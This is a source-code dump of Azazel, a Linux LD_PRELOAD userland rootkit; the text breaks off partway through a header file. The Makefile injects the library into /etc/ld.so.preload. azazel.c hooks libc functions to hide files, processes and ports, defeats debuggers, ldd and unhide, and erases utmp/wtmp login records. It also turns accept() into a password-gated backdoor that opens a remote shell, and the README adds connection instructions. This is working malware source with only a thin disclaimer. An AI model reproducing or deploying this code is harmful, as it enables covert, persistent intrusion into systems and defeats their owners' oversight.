├── LICENSE
├── Makefile
├── README.md
├── azazel.c
├── azazel.h
├── client.c
├── config.py
├── const.h
├── crypthook.c
├── crypthook.h
├── pam.c
├── pcap.c
├── pcap.h
├── xor.c
└── xor.h
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
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8 |
9 | Preamble
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340 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | INSTALL=/lib
2 |
3 | CFLAGS+= -Wall
4 | LDFLAGS+= -lc -ldl -lpam -lutil
5 |
6 | all: config libselinux.so
7 |
8 | client:
9 | $(CC) -fPIC client.c -shared -o client.so
10 |
11 | config:
12 | @python config.py > const.h
13 |
14 | libselinux.so: azazel.c pam.c xor.c crypthook.c pcap.c
15 | $(CC) -fPIC -g -c azazel.c pam.c xor.c crypthook.c pcap.c
16 | $(CC) -fPIC -shared -Wl,-soname,libselinux.so azazel.o xor.o pam.o crypthook.o pcap.o $(LDFLAGS) -o libselinux.so
17 | strip libselinux.so
18 |
19 | install: all
20 | @echo [-] Initiating Installation Directory $(INSTALL)
21 | @test -d $(INSTALL) || mkdir $(INSTALL)
22 | @echo [-] Installing azazel
23 | @install -m 0755 libselinux.so $(INSTALL)/
24 | @echo [-] Injecting azazel
25 | @echo $(INSTALL)/libselinux.so > /etc/ld.so.preload
26 |
27 | clean:
28 | rm libselinux.so *.o
29 |
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Azazel
2 | #### V 0.1
3 | > The whole earth has been corrupted through the works that were taught by Azazel: to him ascribe all sin. -- 1 Enoch 2:8
4 |
5 | ---
6 | Azazel is a userland rootkit based off of the original LD_PRELOAD technique from Jynx rootkit. It is more robust and has additional features, and focuses heavily around anti-debugging and anti-detection.
7 |
8 | ### Features
9 | * Anti-debugging
10 | * Avoids unhide, lsof, ps, ldd detection
11 | * Hides files and directories
12 | * Hides remote connections
13 | * Hides processes
14 | * Hides logins
15 | * PCAP hooks avoids local sniffing
16 | * Two accept backdoors.
17 | * [Crypthook](https://github.com/chokepoint/CryptHook) encrypted accept() backdoor -- Full PTY
18 | * Plaintext accept() backdoor -- Full PTY
19 | * PAM backdoor for local privesc and remote entry
20 | * Log cleanup for utmp/wtmp entries based on pty
21 |
22 | Using netcat to communicate with a remote PTY isn't the best idea. See below for a better PTY client written by [InfoDox](https://github.com/infodox), or use socat with a command similar to the following and then just paste the password into the session, otherwise socat send the first char making the passwords not match.
23 |
24 | > socat -,raw,echo=0 TCP:target:port,bind=:61040
25 |
26 | ### Links
27 | * [Better PTY Client](https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_shell_handler.py)
28 |
29 | ### Disclaimer
30 | The authors are in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. We are also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk.
31 |
--------------------------------------------------------------------------------
/azazel.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 |
23 | #include "crypthook.h"
24 | #include "xor.h"
25 | #include "const.h"
26 | #include "azazel.h"
27 |
28 | // This shows up in strings... just because
29 | char *azazel="The whole earth has been corrupted through the works that were taught by Azazel: to him ascribe all sin.";
30 |
31 | void cleanup(void *var, int len) {
32 | DEBUG("cleanup called %s\n", var);
33 | memset(var, 0x00, len);
34 | free(var);
35 | }
36 |
37 | int is_owner(void) {
38 | init();
39 | static int owner = -1; // Only initiate once.
40 | if (owner != -1)
41 | return owner;
42 | char *hide_term_str = strdup(HIDE_TERM_STR);
43 | x(hide_term_str);
44 | char *hide_term_var = getenv(hide_term_str);
45 | if (hide_term_var != NULL) {
46 | /* This is an owner shell... cleanup the logs */
47 | char *pterm = ttyname(0);
48 | char *ptr = pterm+5;
49 | clean_wtmp(ptr,0);
50 | clean_utmp(ptr,0);
51 | owner = 1;
52 | }
53 | else
54 | owner = 0;
55 | cleanup(hide_term_str, strlen(hide_term_str));
56 | return owner;
57 | }
58 |
59 | void clean_wtmp(char *pts, int verbose) {
60 | DEBUG("clean_wtmp\n");
61 | struct utmp utmp_ent;
62 | char *wtmp_file = strdup(WTMP_FILE_X);
63 | int fd;
64 | x(wtmp_file);
65 | if((fd=(long)syscall_list[SYS_OPEN].syscall_func(wtmp_file,O_RDWR))>=0){
66 | lseek(fd,0,SEEK_SET);
67 | while(read(fd,&utmp_ent,sizeof(utmp_ent))>0){
68 | if(!strncmp(utmp_ent.ut_line,pts,strlen(pts))){
69 | memset(&utmp_ent,0x00,sizeof(utmp_ent));
70 | lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR);
71 | write(fd,&utmp_ent,sizeof(utmp_ent));
72 | }
73 | }
74 | close(fd);
75 | }
76 | if (verbose) {
77 | char *wtmp_msg = strdup(WTMP_MSG);
78 | x(wtmp_msg);
79 | printf("%s\n",wtmp_msg);
80 | cleanup(wtmp_msg, strlen(wtmp_msg));
81 | }
82 | cleanup(wtmp_file, strlen(wtmp_file));
83 | }
84 |
85 | void clean_utmp(char *pts, int verbose) {
86 | DEBUG("clean_utmp\n");
87 | struct utmp utmp_ent;
88 | char *utmp_file = strdup(UTMP_FILE_X);
89 | int fd;
90 | x(utmp_file);
91 | if((fd=(long)syscall_list[SYS_OPEN].syscall_func(utmp_file,O_RDWR))>=0){
92 | lseek(fd,0,SEEK_SET);
93 | while(read(fd,&utmp_ent,sizeof(utmp_ent))>0){
94 | if(!strncmp(utmp_ent.ut_line,pts,strlen(pts))){
95 | memset(&utmp_ent,0x00,sizeof(utmp_ent));
96 | lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR);
97 | write(fd,&utmp_ent,sizeof(utmp_ent));
98 | }
99 | }
100 | close(fd);
101 | }
102 | if (verbose) {
103 | char *utmp_msg = strdup(UTMP_MSG);
104 | x(utmp_msg);
105 | printf("%s\n",utmp_msg);
106 | cleanup(utmp_msg, strlen(utmp_msg));
107 | }
108 | cleanup(utmp_file, strlen(utmp_file));
109 | }
110 |
111 | void azazel_init(void) {
112 | DEBUG("[-] azazel.so loaded.\n");
113 | int i, fd;
114 |
115 | if (constr)
116 | return;
117 | constr=1;
118 |
119 | for (i = 0; i < SYSCALL_SIZE; ++i) {
120 | char *scall = strdup(syscall_table[i]);
121 | x(scall);
122 | strncpy(syscall_list[i].syscall_name, scall, 50);
123 | syscall_list[i].syscall_func = dlsym(RTLD_NEXT, scall);
124 | cleanup(scall,strlen(scall));
125 | }
126 | }
127 |
128 | void init(void) {
129 | azazel_init();
130 | }
131 |
132 | long ptrace(void *request, pid_t pid, void *addr, void *data) {
133 | char *anti_debug_msg = strdup(ANTI_DEBUG_MSG);
134 | x(anti_debug_msg);
135 | printf("%s\n",anti_debug_msg);
136 | cleanup(anti_debug_msg, strlen(anti_debug_msg));
137 | exit(-1);
138 | }
139 |
140 | int parse_environ(char *stack, int len, char *needle) {
141 | DEBUG("parse_environ\n");
142 | char *step = stack;
143 |
144 | while(1) {
145 | if (strstr(step,needle))
146 | return 1;
147 | if (*step+1 != '\0') {
148 | step++;
149 | if (step-stack >= len) {
150 | return 0;
151 | }
152 | } else
153 | return 0;
154 | }
155 | }
156 |
157 | int is_invisible(const char *path) {
158 | DEBUG("is_invisible\n");
159 | struct stat s_fstat;
160 | char line[MAX_LEN];
161 | char p_path[PATH_MAX];
162 | char *config_file = strdup(CONFIG_FILE);
163 | FILE *cmd;
164 | int fd;
165 |
166 | init();
167 |
168 | x(config_file);
169 | if(strstr(path, MAGIC_STRING) || strstr(path, config_file)) {
170 | cleanup(config_file, strlen(config_file));
171 | return 1;
172 | }
173 | char *proc_path = strdup(PROC_PATH);
174 | x(proc_path);
175 | if(strstr(path, proc_path)){
176 | cleanup(proc_path,strlen(proc_path));
177 | if((long) syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, &s_fstat) != -1){
178 | char *cmd_line = strdup(CMD_LINE);
179 | char *env_line = strdup(ENV_LINE);
180 | x(cmd_line);
181 | x(env_line);
182 | snprintf(p_path, PATH_MAX, env_line, path);
183 | cleanup(cmd_line,strlen(cmd_line));
184 | cleanup(env_line, strlen(env_line));
185 | if((long)(syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, p_path, &s_fstat)) != -1){
186 | cmd = syscall_list[SYS_FOPEN].syscall_func(p_path, "r");
187 | if(cmd){
188 | char *hide_term_str = strdup(HIDE_TERM_STR);
189 | x(hide_term_str);
190 | int res;
191 | char *step = &line[0];
192 | while((res=fgets(line, MAX_LEN, cmd) != NULL)) {
193 | if (parse_environ(line, MAX_LEN, hide_term_str) == 1) {
194 | cleanup(config_file, strlen(config_file));
195 | cleanup(hide_term_str, strlen(hide_term_str));
196 | return 1;
197 | }
198 | memset(line,0x00,MAX_LEN);
199 | }
200 | fclose(cmd);
201 | }
202 | }
203 | }
204 | } else {
205 | cleanup(proc_path,strlen(proc_path));
206 | }
207 | cleanup(config_file,strlen(config_file));
208 | return 0;
209 | }
210 |
211 | int is_procnet(const char *filename) {
212 | DEBUG("is_procnet\n");
213 | char *proc_net_tcp = strdup(PROC_NET_TCP);
214 | char *proc_net_tcp6 = strdup(PROC_NET_TCP6);
215 | x(proc_net_tcp);
216 | x(proc_net_tcp6);
217 |
218 | if (strcmp (filename, proc_net_tcp) == 0
219 | || strcmp (filename, proc_net_tcp6) == 0) {
220 | cleanup(proc_net_tcp,strlen(proc_net_tcp));
221 | cleanup(proc_net_tcp6,strlen(proc_net_tcp6));
222 | return 1;
223 | }
224 |
225 | cleanup(proc_net_tcp,strlen(proc_net_tcp));
226 | cleanup(proc_net_tcp6,strlen(proc_net_tcp6));
227 | return 0;
228 | }
229 |
230 | FILE *hide_ports(const char *filename) {
231 | DEBUG("hide_ports called\n");
232 | char line[LINE_MAX];
233 | char *proc_net_tcp = strdup(PROC_NET_TCP);
234 | char *proc_net_tcp6 = strdup(PROC_NET_TCP6);
235 |
236 | init();
237 | x(proc_net_tcp);
238 | x(proc_net_tcp6);
239 |
240 | unsigned long rxq, txq, time_len, retr, inode;
241 | int local_port, rem_port, d, state, uid, timer_run, timeout;
242 | char rem_addr[128], local_addr[128], more[512];
243 |
244 | FILE *tmp = tmpfile();
245 | FILE *pnt = syscall_list[SYS_FOPEN].syscall_func(filename, "r");
246 |
247 | while (fgets(line, LINE_MAX, pnt) != NULL) {
248 | char *scanf_line = strdup(SCANF_LINE);
249 | x(scanf_line);
250 | sscanf(line,
251 | scanf_line,
252 | &d, local_addr, &local_port, rem_addr, &rem_port, &state,
253 | &txq, &rxq, &timer_run, &time_len, &retr, &uid, &timeout, &inode, more);
254 | cleanup(scanf_line,strlen(scanf_line));
255 |
256 | if((rem_port >= LOW_PORT && rem_port <= HIGH_PORT) || (rem_port >= CRYPT_LOW && rem_port <= CRYPT_HIGH) || (rem_port == PAM_PORT)){
257 | continue;
258 | } else{
259 | if((local_port >= LOW_PORT && local_port <= HIGH_PORT) || (local_port >= CRYPT_LOW && local_port >= CRYPT_HIGH) || (local_port == PAM_PORT)){
260 | continue;
261 | }else{
262 | fputs(line, tmp);
263 | }
264 | }
265 | }
266 |
267 | cleanup(proc_net_tcp,strlen(proc_net_tcp));
268 | cleanup(proc_net_tcp6,strlen(proc_net_tcp6));
269 | fclose(pnt);
270 | fseek(tmp, 0, SEEK_SET);
271 | return tmp;
272 | }
273 |
274 | int access(const char *path, int amode) {
275 | DEBUG("access hooked.\n");
276 | if (is_owner())
277 | return (long)syscall_list[SYS_ACCESS].syscall_func(path, amode);
278 |
279 | if(is_invisible(path)) {
280 | errno = ENOENT;
281 | return -1;
282 | }
283 |
284 | return (long)syscall_list[SYS_ACCESS].syscall_func(path,amode);
285 | }
286 |
287 | FILE *fopen (const char *filename, const char *mode) {
288 | DEBUG("fopen hooked %s.\n", filename);
289 | if (is_owner())
290 | syscall_list[SYS_FOPEN].syscall_func(filename, mode);
291 |
292 | if (is_procnet(filename))
293 | return hide_ports(filename);
294 |
295 | if (is_invisible(filename)) {
296 | errno = ENOENT;
297 | return NULL;
298 | }
299 | return syscall_list[SYS_FOPEN].syscall_func(filename, mode);
300 | }
301 |
302 | FILE *fopen64 (const char *filename, const char *mode) {
303 | DEBUG("fopen hooked %s.\n", filename);
304 | if (is_owner())
305 | return syscall_list[SYS_FOPEN64].syscall_func(filename, mode);
306 |
307 | if (is_procnet(filename))
308 | return hide_ports(filename);
309 |
310 | if (is_invisible(filename)) {
311 | errno = ENOENT;
312 | return NULL;
313 | }
314 |
315 | return syscall_list[SYS_FOPEN64].syscall_func(filename, mode);
316 | }
317 |
318 | int lstat(const char *file, struct stat *buf) {
319 | DEBUG("lstat hooked.\n");
320 | if (is_owner())
321 | return (long)syscall_list[SYS_LXSTAT].syscall_func(_STAT_VER, file, buf);
322 |
323 | if(is_invisible(file)) {
324 | errno = ENOENT;
325 | return -1;
326 | }
327 |
328 | return (long)syscall_list[SYS_LXSTAT].syscall_func(_STAT_VER, file, buf);
329 | }
330 |
331 | int lstat64(const char *file, struct stat64 *buf) {
332 | DEBUG("lstat64 hooked.\n");
333 | if (is_owner())
334 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(_STAT_VER, file, buf);
335 |
336 | if (is_invisible(file)) {
337 | errno = ENOENT;
338 | return -1;
339 | }
340 |
341 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(_STAT_VER, file, buf);
342 | }
343 |
344 | int __lxstat(int ver, const char *file, struct stat *buf) {
345 | DEBUG("__lxstat hooked.\n");
346 | if (is_owner())
347 | return (long)syscall_list[SYS_LXSTAT].syscall_func(ver, file, buf);
348 |
349 | if (is_invisible(file)) {
350 | errno = ENOENT;
351 | return -1;
352 | }
353 |
354 | return (long)syscall_list[SYS_LXSTAT].syscall_func(ver, file, buf);
355 | }
356 |
357 | int __lxstat64(int ver, const char *file, struct stat64 *buf) {
358 | DEBUG("__lxstat64 hooked.\n");
359 | if (is_owner())
360 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(ver, file, buf);
361 |
362 | if(is_invisible(file)) {
363 | errno = ENOENT;
364 | return -1;
365 | }
366 |
367 | return (long)syscall_list[SYS_LXSTAT64].syscall_func(ver, file, buf);
368 | }
369 |
370 | int open(const char *pathname, int flags, mode_t mode) {
371 | DEBUG("open hooked.\n");
372 | if (is_owner())
373 | return (long)syscall_list[SYS_OPEN].syscall_func(pathname, flags, mode);
374 |
375 | if(is_invisible(pathname)) {
376 | errno = ENOENT;
377 | return -1;
378 | }
379 |
380 | return (long)syscall_list[SYS_OPEN].syscall_func(pathname,flags,mode);
381 | }
382 |
383 | int rmdir(const char *pathname) {
384 | DEBUG("rmdir hooked.\n");
385 | if (is_owner())
386 | return (long)syscall_list[SYS_RMDIR].syscall_func(pathname);
387 |
388 | if(is_invisible(pathname)) {
389 | errno = ENOENT;
390 | return -1;
391 | }
392 |
393 | return (long)syscall_list[SYS_RMDIR].syscall_func(pathname);
394 | }
395 |
396 | int stat(const char *path, struct stat *buf) {
397 | DEBUG("stat hooked\n");
398 | if (is_owner())
399 | return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf);
400 |
401 | if(is_invisible(path)) {
402 | errno = ENOENT;
403 | return -1;
404 | }
405 |
406 | return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf);
407 | }
408 |
409 | int stat64(const char *path, struct stat64 *buf) {
410 | DEBUG("stat64 hooked.\n");
411 | if (is_owner())
412 | return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf);
413 |
414 | if(is_invisible(path)) {
415 | errno = ENOENT;
416 | return -1;
417 | }
418 |
419 | return (long)syscall_list[SYS_XSTAT64].syscall_func(_STAT_VER, path, buf);
420 | }
421 |
422 | int __xstat(int ver, const char *path, struct stat *buf) {
423 | DEBUG("xstat hooked. path: %s\n",path);
424 | if (is_owner())
425 | return (long)syscall_list[SYS_XSTAT].syscall_func(ver, path, buf);
426 |
427 | if(is_invisible(path)) {
428 | DEBUG("File is invisble.\n");
429 | errno = ENOENT;
430 | return -1;
431 | }
432 |
433 | return (long)syscall_list[SYS_XSTAT].syscall_func(ver,path, buf);
434 | }
435 |
436 | int __xstat64(int ver, const char *path, struct stat64 *buf) {
437 | DEBUG("xstat64 hooked.\n");
438 | if (is_owner())
439 | return (long)syscall_list[SYS_XSTAT64].syscall_func(ver, path, buf);
440 |
441 | if(is_invisible(path)) {
442 | errno = ENOENT;
443 | return -1;
444 | }
445 |
446 | return (long)syscall_list[SYS_XSTAT64].syscall_func(ver,path, buf);
447 | }
448 |
449 | int unlink(const char *pathname) {
450 | DEBUG("unlink hooked.\n");
451 | if (is_owner())
452 | return (long)syscall_list[SYS_UNLINK].syscall_func(pathname);
453 |
454 | if(is_invisible(pathname)) {
455 | errno = ENOENT;
456 | return -1;
457 | }
458 |
459 | return (long)syscall_list[SYS_UNLINK].syscall_func(pathname);
460 | }
461 |
462 | int unlinkat(int dirfd, const char *pathname, int flags) {
463 | DEBUG("unlinkat hooked.\n");
464 | if (is_owner())
465 | return (long)syscall_list[SYS_UNLINKAT].syscall_func(dirfd, pathname, flags);
466 |
467 | if(is_invisible(pathname)) {
468 | errno = ENOENT;
469 | return -1;
470 | }
471 |
472 | return (long)syscall_list[SYS_UNLINKAT].syscall_func(dirfd, pathname, flags);
473 | }
474 |
475 | DIR *opendir(const char *name) {
476 | DEBUG("opendir hooked.\n");
477 | if (is_owner())
478 | return syscall_list[SYS_OPENDIR].syscall_func(name);
479 |
480 | if(is_invisible(name)) {
481 | errno = ENOENT;
482 | return NULL;
483 | }
484 |
485 | return syscall_list[SYS_OPENDIR].syscall_func(name);
486 | }
487 |
488 | struct dirent *readdir(DIR *dirp) {
489 | DEBUG("readdir hooked.\n");
490 | if (is_owner())
491 | return syscall_list[SYS_READDIR].syscall_func(dirp);
492 | struct dirent *dir;
493 | do {
494 | dir = syscall_list[SYS_READDIR].syscall_func(dirp);
495 |
496 | if (dir != NULL && (strcmp(dir->d_name,".\0") || strcmp(dir->d_name,"/\0")))
497 | continue;
498 |
499 | if(dir != NULL) {
500 | char path[PATH_MAX + 1];
501 | char *proc_str = strdup(PROC_STR);
502 | x(proc_str);
503 | snprintf(path, PATH_MAX, proc_str, dir->d_name);
504 | cleanup(proc_str,strlen(proc_str));
505 |
506 | if(is_invisible(path) || strstr(path, MAGIC_STRING)) {
507 | continue;
508 | }
509 | }
510 |
511 | } while(dir && is_invisible(dir->d_name));
512 |
513 | return dir;
514 | }
515 |
516 | struct dirent64 *readdir64(DIR *dirp) {
517 | DEBUG("readdir64 hooked.\n");
518 | if (is_owner())
519 | return syscall_list[SYS_READDIR64].syscall_func(dirp);
520 | struct dirent64 *dir;
521 | do {
522 | dir = syscall_list[SYS_READDIR64].syscall_func(dirp);
523 |
524 | if (dir != NULL && (strcmp(dir->d_name,".\0") || strcmp(dir->d_name,"/\0")))
525 | continue;
526 |
527 | if(dir != NULL) {
528 | char path[PATH_MAX + 1];
529 | char *proc_str = strdup(PROC_STR);
530 | x(proc_str);
531 | snprintf(path, PATH_MAX, proc_str, dir->d_name);
532 | cleanup(proc_str,strlen(proc_str));
533 |
534 | if(is_invisible(path) || strstr(path, MAGIC_STRING)) {
535 | continue;
536 | }
537 | }
538 |
539 | } while(dir && is_invisible(dir->d_name));
540 | return dir;
541 | }
542 |
543 | int link(const char *oldpath, const char *newpath) {
544 | DEBUG("link hooked.\n");
545 | if (is_owner())
546 | return (long)syscall_list[SYS_LINK].syscall_func(oldpath, newpath);
547 |
548 | if(is_invisible(oldpath)) {
549 | errno = ENOENT;
550 | return -1;
551 | }
552 |
553 | return (long)syscall_list[SYS_LINK].syscall_func(oldpath, newpath);
554 | }
555 |
556 | int execve(const char *path, char *const argv[], char *const envp[]) {
557 | DEBUG("execve hooked. path: %s\n",path);
558 | char *unhide = strdup(C_UNHIDE);
559 | char *ldd = strdup(C_LDD);
560 | char *ld_linux = strdup(LD_LINUX);
561 | char *ld_trace = strdup(LD_TRACE);
562 | x(ld_trace);
563 | char *trace_var = getenv(ld_trace);
564 | cleanup(ld_trace,strlen(ld_trace));
565 |
566 | char buf[65535];
567 | int pid, ret;
568 | int child_stdin[2];
569 | int child_stdout[2];
570 |
571 | init();
572 | x(unhide);
573 | x(ldd);
574 | x(ld_linux);
575 |
576 | char *cleanup_str = strdup(CLEANUP_LOGS);
577 | x(cleanup_str);
578 | char *cleanvar = getenv(cleanup_str);
579 |
580 | if (cleanvar != NULL) {
581 | clean_utmp(cleanvar, 1);
582 | clean_wtmp(cleanvar, 1);
583 |
584 | unsetenv(cleanup_str);
585 | cleanup(cleanup_str, strlen(cleanup_str));
586 | cleanup(unhide, strlen(unhide));
587 | cleanup(ldd,strlen(ldd));
588 | cleanup(ld_linux,strlen(ld_linux));
589 | exit(0);
590 | }
591 | cleanup(cleanup_str, strlen(cleanup_str));
592 |
593 | if (strstr(path, ldd) || strstr(path, ld_linux) || trace_var != NULL || strstr(path, unhide)) {
594 | uid_t oid= getuid(); // This method will be changed in the next version.
595 | char *ld_normal = strdup(LD_NORMAL);
596 | char *ld_hide = strdup(LD_HIDE);
597 | x(ld_normal);
598 | x(ld_hide);
599 |
600 | setuid(0);
601 | rename(ld_normal, ld_hide);
602 | if ((pid=fork()) == -1) {
603 | cleanup(ld_normal, strlen(ld_normal));
604 | cleanup(ld_hide, strlen(ld_hide));
605 | return -1;
606 | } else if (pid == 0) {
607 | cleanup(ld_normal, strlen(ld_normal));
608 | cleanup(ld_hide, strlen(ld_hide));
609 | return (long)syscall_list[SYS_EXECVE].syscall_func(path, argv, NULL);
610 | } else {
611 |
612 | }
613 | wait(&ret);
614 |
615 | rename(ld_hide, ld_normal);
616 | setuid(oid);
617 | cleanup(ld_normal, strlen(ld_normal));
618 | cleanup(ld_hide, strlen(ld_hide));
619 | } else {
620 | ret = (long)syscall_list[SYS_EXECVE].syscall_func(path, argv, envp);
621 | }
622 |
623 | cleanup(unhide,strlen(unhide));
624 | cleanup(ldd,strlen(ldd));
625 | cleanup(ld_linux,strlen(ld_linux));
626 | exit(ret);
627 | }
628 |
629 | void shell_loop(int sock, int pty, int crypt) {
630 | DEBUG("shell_loop called.\n");
631 | fd_set fds;
632 | char buf[MAX_LEN];
633 | int res, maxfd;
634 |
635 | ssize_t (*s_read)();
636 | ssize_t (*s_write)();
637 |
638 | if (crypt) {
639 | s_read = crypt_read;
640 | s_write = crypt_write;
641 | } else {
642 | char *sys_write = strdup(SYS_WRITE);
643 | char *sys_read = strdup(SYS_READ);
644 | x(sys_write);
645 | x(sys_read);
646 | s_read = dlsym(RTLD_NEXT, sys_read);
647 | s_write = dlsym(RTLD_NEXT, sys_write);
648 | cleanup(sys_write,strlen(sys_write));
649 | cleanup(sys_read,strlen(sys_read));
650 | }
651 |
652 | maxfd = pty;
653 | if (sock > maxfd)
654 | maxfd = sock;
655 |
656 | while(1) {
657 | FD_ZERO(&fds);
658 | FD_SET(sock, &fds);
659 | FD_SET(pty, &fds);
660 |
661 | if((res = select(maxfd+1, &fds, NULL, NULL, NULL)) == -1)
662 | DEBUG("Select failed.\n");
663 |
664 | if(FD_ISSET(sock, &fds)) {
665 | memset(&buf, 0x00, MAX_LEN);
666 | if((res = s_read(sock, buf, MAX_LEN)) <= 0) {
667 | DEBUG("Error reading from client\n");
668 | exit(1);
669 | } else {
670 | write(pty, buf, res);
671 | }
672 | }
673 |
674 | if(FD_ISSET(pty, &fds)) {
675 | memset(&buf, 0x00, MAX_LEN);
676 | if((res = read(pty, buf, MAX_LEN-31)) <= 0) {
677 | DEBUG("Error reading from pty\n");
678 | exit(1);
679 | } else {
680 | s_write(sock, buf, res);
681 | }
682 | }
683 | }
684 | }
685 |
686 | void setup_pty(int sock, int *pty, int *tty) {
687 | DEBUG("setup_pty called.\n");
688 | char *args[] = {strdup(SHELL_TYPE), "-l", 0};
689 | char *env[] = { strdup(HIDE_TERM_VAR), strdup(HIST_FILE), strdup(TERM), 0};
690 |
691 | close(0);
692 | close(1);
693 | close(2);
694 | close(*pty);
695 | close(sock);
696 |
697 | setsid();
698 | ioctl(*tty, TIOCSCTTY);
699 |
700 | signal(SIGHUP, SIG_DFL);
701 | signal(SIGCHLD, SIG_DFL);
702 |
703 | dup2(*tty, 0);
704 | dup2(*tty, 1);
705 | dup2(*tty, 2);
706 |
707 | x(args[0]);
708 | x(env[0]);
709 | x(env[1]);
710 | x(env[2]);
711 |
712 | execve(args[0], args, env);
713 | cleanup(args[0],strlen(args[0]));
714 | cleanup(env[0],strlen(env[0]));
715 | cleanup(env[1],strlen(env[1]));
716 | cleanup(env[2], strlen(env[2]));
717 | }
718 |
719 | int check_shell_password(int sock, int crypt) {
720 | DEBUG("check_shell_password called.\n");
721 | char buffer[512];
722 | char *shell_passwd = strdup(SHELL_PASSWD);
723 | x(shell_passwd);
724 | memset(buffer, 0x00, sizeof(buffer));
725 | if (crypt) {
726 | crypt_read(sock,buffer,sizeof(buffer)-1);
727 | if (strstr(buffer, shell_passwd)) {
728 | cleanup(shell_passwd, strlen(shell_passwd));
729 | return 1;
730 | }
731 | } else {
732 | read(sock, buffer, sizeof(buffer));
733 | if(strstr(buffer, shell_passwd)) {
734 | cleanup(shell_passwd, strlen(shell_passwd));
735 | return 1;
736 | }
737 | }
738 | return -1;
739 | }
740 |
741 | int drop_shell(int sock, struct sockaddr *addr) {
742 | DEBUG("drop_shell called.\n");
743 | char buffer[512];
744 | char *shell_passwd = strdup(SHELL_PASSWD);
745 | char *shell_msg = strdup(SHELL_MSG);
746 | int crypt_mode = -1;
747 | int pid, pty, tty;
748 |
749 | ssize_t (*s_write)();
750 |
751 | init();
752 | x(shell_msg);
753 | x(shell_passwd);
754 |
755 | char buf[MAX_LEN];
756 |
757 | memset(buffer,0x00,sizeof(buffer));
758 |
759 | struct sockaddr_in *sa_i = (struct sockaddr_in*)addr;
760 |
761 | if(htons(sa_i->sin_port) >= LOW_PORT && htons(sa_i->sin_port) <= HIGH_PORT) {
762 | crypt_mode = PLAIN_SHELL;
763 | char *sys_write = strdup(SYS_WRITE);
764 | x(sys_write);
765 | s_write = dlsym(RTLD_NEXT, sys_write);
766 | cleanup(sys_write, strlen(sys_write));
767 | } else if (htons(sa_i->sin_port) >= CRYPT_LOW && htons(sa_i->sin_port) <= CRYPT_HIGH) {
768 | crypt_mode = CRYPT_SHELL;
769 | s_write = crypt_write;
770 | } else
771 | return sock;
772 |
773 | if(check_shell_password(sock, crypt_mode) != 1) {
774 | shutdown(sock, SHUT_RDWR);
775 | close(sock);
776 | return -1;
777 | }
778 |
779 | s_write(sock, shell_msg, strlen(shell_msg));
780 | char pty_name[51];
781 | if (openpty(&pty, &tty, pty_name, NULL, NULL) == -1) {
782 | DEBUG("Failed to grab pty\n");
783 | return;
784 | }
785 |
786 | char *ptr = &pty_name[5]; // Jump past /dev/ and clean the logs
787 | clean_utmp(ptr, 0);
788 | clean_wtmp(ptr, 0);
789 |
790 | /* Fork child process to start an interactive shell */
791 | if ((pid=fork()) == -1) {
792 | return -1;
793 | } else if (pid == 0) {
794 | setup_pty(sock, &pty, &tty);
795 | } else {
796 | close(tty);
797 | }
798 |
799 | /* Fork child process to run the pipes for the shell */
800 | if ((pid=fork()) == -1)
801 | return -1;
802 | else if (pid == 0)
803 | shell_loop(sock, pty, crypt_mode);
804 | else {
805 | close(sock);
806 | close(pty);
807 | errno = ECONNABORTED;
808 | return -1;
809 | }
810 | }
811 |
812 | int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) {
813 | DEBUG("accept hooked.\n");
814 | if (is_owner())
815 | return (long)syscall_list[SYS_ACCEPT].syscall_func(sockfd, addr, addrlen);
816 |
817 | int sock = (long)syscall_list[SYS_ACCEPT].syscall_func(sockfd, addr, addrlen);
818 |
819 | return drop_shell(sock, addr);
820 | }
821 |
--------------------------------------------------------------------------------
/azazel.h:
--------------------------------------------------------------------------------
1 | #ifndef AZAZEL_H
2 | #define AZAZEL_H
3 |
4 | #include
5 | #include "const.h"
6 |
7 | static void init (void) __attribute__ ((constructor));
8 |
9 | // No need to leak extra function visibility
10 | void azazel_init(void) __attribute__((visibility("hidden")));
11 | void cleanup(void *var, int len) __attribute__((visibility("hidden")));
12 | int drop_shell(int sock, struct sockaddr *addr) __attribute__((visibility("hidden")));
13 | int is_invisible(const char *path) __attribute__((visibility("hidden")));
14 | int is_procnet(const char *filename) __attribute__((visibility("hidden")));
15 | int check_shell_password(int sock, int crypt) __attribute__((visibility("hidden")));
16 | void setup_pty(int sock, int *pty, int *tty) __attribute__((visibility("hidden")));
17 | void shell_loop(int sock, int pty, int crypt) __attribute__((visibility("hidden")));
18 | void clean_utmp(char *pts, int verbose) __attribute__((visibility("hidden")));
19 | void clean_wtmp(char *pts, int verbose) __attribute__((visibility("hidden")));
20 | int parse_environ(char *stack, int len, char *needle) __attribute__((visibility("hidden")));
21 | int is_owner(void) __attribute__((visibility("hidden")));
22 |
23 | FILE *hide_ports(const char *filename) __attribute__((visibility("hidden")));
24 | ssize_t read_next_line(int fd, void *buf, size_t count) __attribute__((visibility("hidden")));
25 |
26 | typedef struct struct_syscalls {
27 | char syscall_name[51];
28 | void *(*syscall_func)();
29 | } s_syscalls;
30 |
31 | s_syscalls syscall_list[SYSCALL_SIZE];
32 |
33 | struct linux_dirent {
